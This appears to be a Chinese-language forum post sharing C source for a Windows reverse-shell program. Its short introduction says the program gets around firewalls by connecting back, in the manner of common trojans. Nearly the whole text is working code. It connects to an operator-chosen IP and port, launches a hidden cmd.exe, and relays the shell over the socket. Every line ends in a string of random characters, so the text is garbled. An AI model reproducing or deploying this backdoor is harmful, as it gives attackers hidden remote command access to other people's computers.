这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 isnpSN"z
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/* ============================== EN>a^B+!
Rebound port in Windows NT tOj5b7'ui
By wind,2006/7 ;]BNc"
===============================*/ ] RVme^=
#include
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#include z`J-J*R>d
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#pragma comment(lib,"wsock32.lib") =xH>,-8}
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void OutputShell(); 93.L887
SOCKET sClient; sWq}/!@&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )Ps<u- V
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void main(int argc,char **argv) 85H*Xm?d#
{ s BuXwa
WSADATA stWsaData; C0>)WVCK
int nRet; 7pH[_]1"
SOCKADDR_IN stSaiClient,stSaiServer; mL@7,GD
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if(argc != 3) _=qk.| p/
{ Pi[(xD8
printf("Useage:\n\rRebound DestIP DestPort\n"); DY87NS*HF
return; 0NSCeq%;6q
} 8L))@SA+uJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); %)r1?H} #%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KXo[;Db)k
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stSaiClient.sin_family = AF_INET; zL+M-2hV
stSaiClient.sin_port = htons(0); Nu}Zsb|{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !;U}ax;AF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ][T>052v
{ G7HvA46
printf("Bind Socket Failed!\n"); `$VnB
return; {<Vw55)#0Q
} E-#}.}i5
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stSaiServer.sin_family = AF_INET; )}\J
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T!H }^v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {,o 0N\(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~,84E [VV
{ dMH}%f5;1
printf("Connect Error!"); )G|'PXI@,
return; :AC( \
} /.@"wAw:
OutputShell(); j1$s^ -9
} O ;B[ZMV
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void OutputShell() $C&E3 'O
{ G+Zm
char szBuff[1024]; K!SFS
SECURITY_ATTRIBUTES stSecurityAttributes; {c AGOx wd
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MvlqxJ$
STARTUPINFO stStartupInfo; :.fm LL
char *szShell; p+1kU1F0
PROCESS_INFORMATION stProcessInformation; YZ^;xV
unsigned long lBytesRead; Wc{/K6]f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #uH%J<U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;Z{jol
stSecurityAttributes.lpSecurityDescriptor = 0; B["C~aF
stSecurityAttributes.bInheritHandle = TRUE; r1[Jo|4vo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c`_[q{(^m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _air'XQ&!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 59M\uVWR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Is~DjIav
stStartupInfo.wShowWindow = SW_HIDE; o",J{
stStartupInfo.hStdInput = hReadPipe; PFPZ]XI%F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '/QS
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GetVersionEx(&stOsversionInfo); Fhk`qh'i
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switch(stOsversionInfo.dwPlatformId) 0}I aWd^4
{ =2.q=a|'
case 1: QL`Hb p
szShell = "command.com"; .V`N^H:l
break; n]fMl:77
default: qv.s-@l8
szShell = "cmd.exe"; vKmV<*K
break; swLrp
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} yJ?S7+b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bE>"DPq
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send(sClient,szMsg,77,0); gis;)al
while(1) |58xR.S'g
{ 5v,_ Hgh
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'CA{>\F$F+
if(lBytesRead) fm1yZX?`
{ $bsD'Io
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g}n-H4LI
send(sClient,szBuff,lBytesRead,0); Lv m"!!
} 0<#>LWaM_
else \2!1fN
{ SZ(]su:
lBytesRead=recv(sClient,szBuff,1024,0); X_aC$_b
if(lBytesRead<=0) break; 5)iOG#8qJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |Q?^B a
} N`et]'_A}
} !!?TkVyEyM
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return; wGg_ vAn
}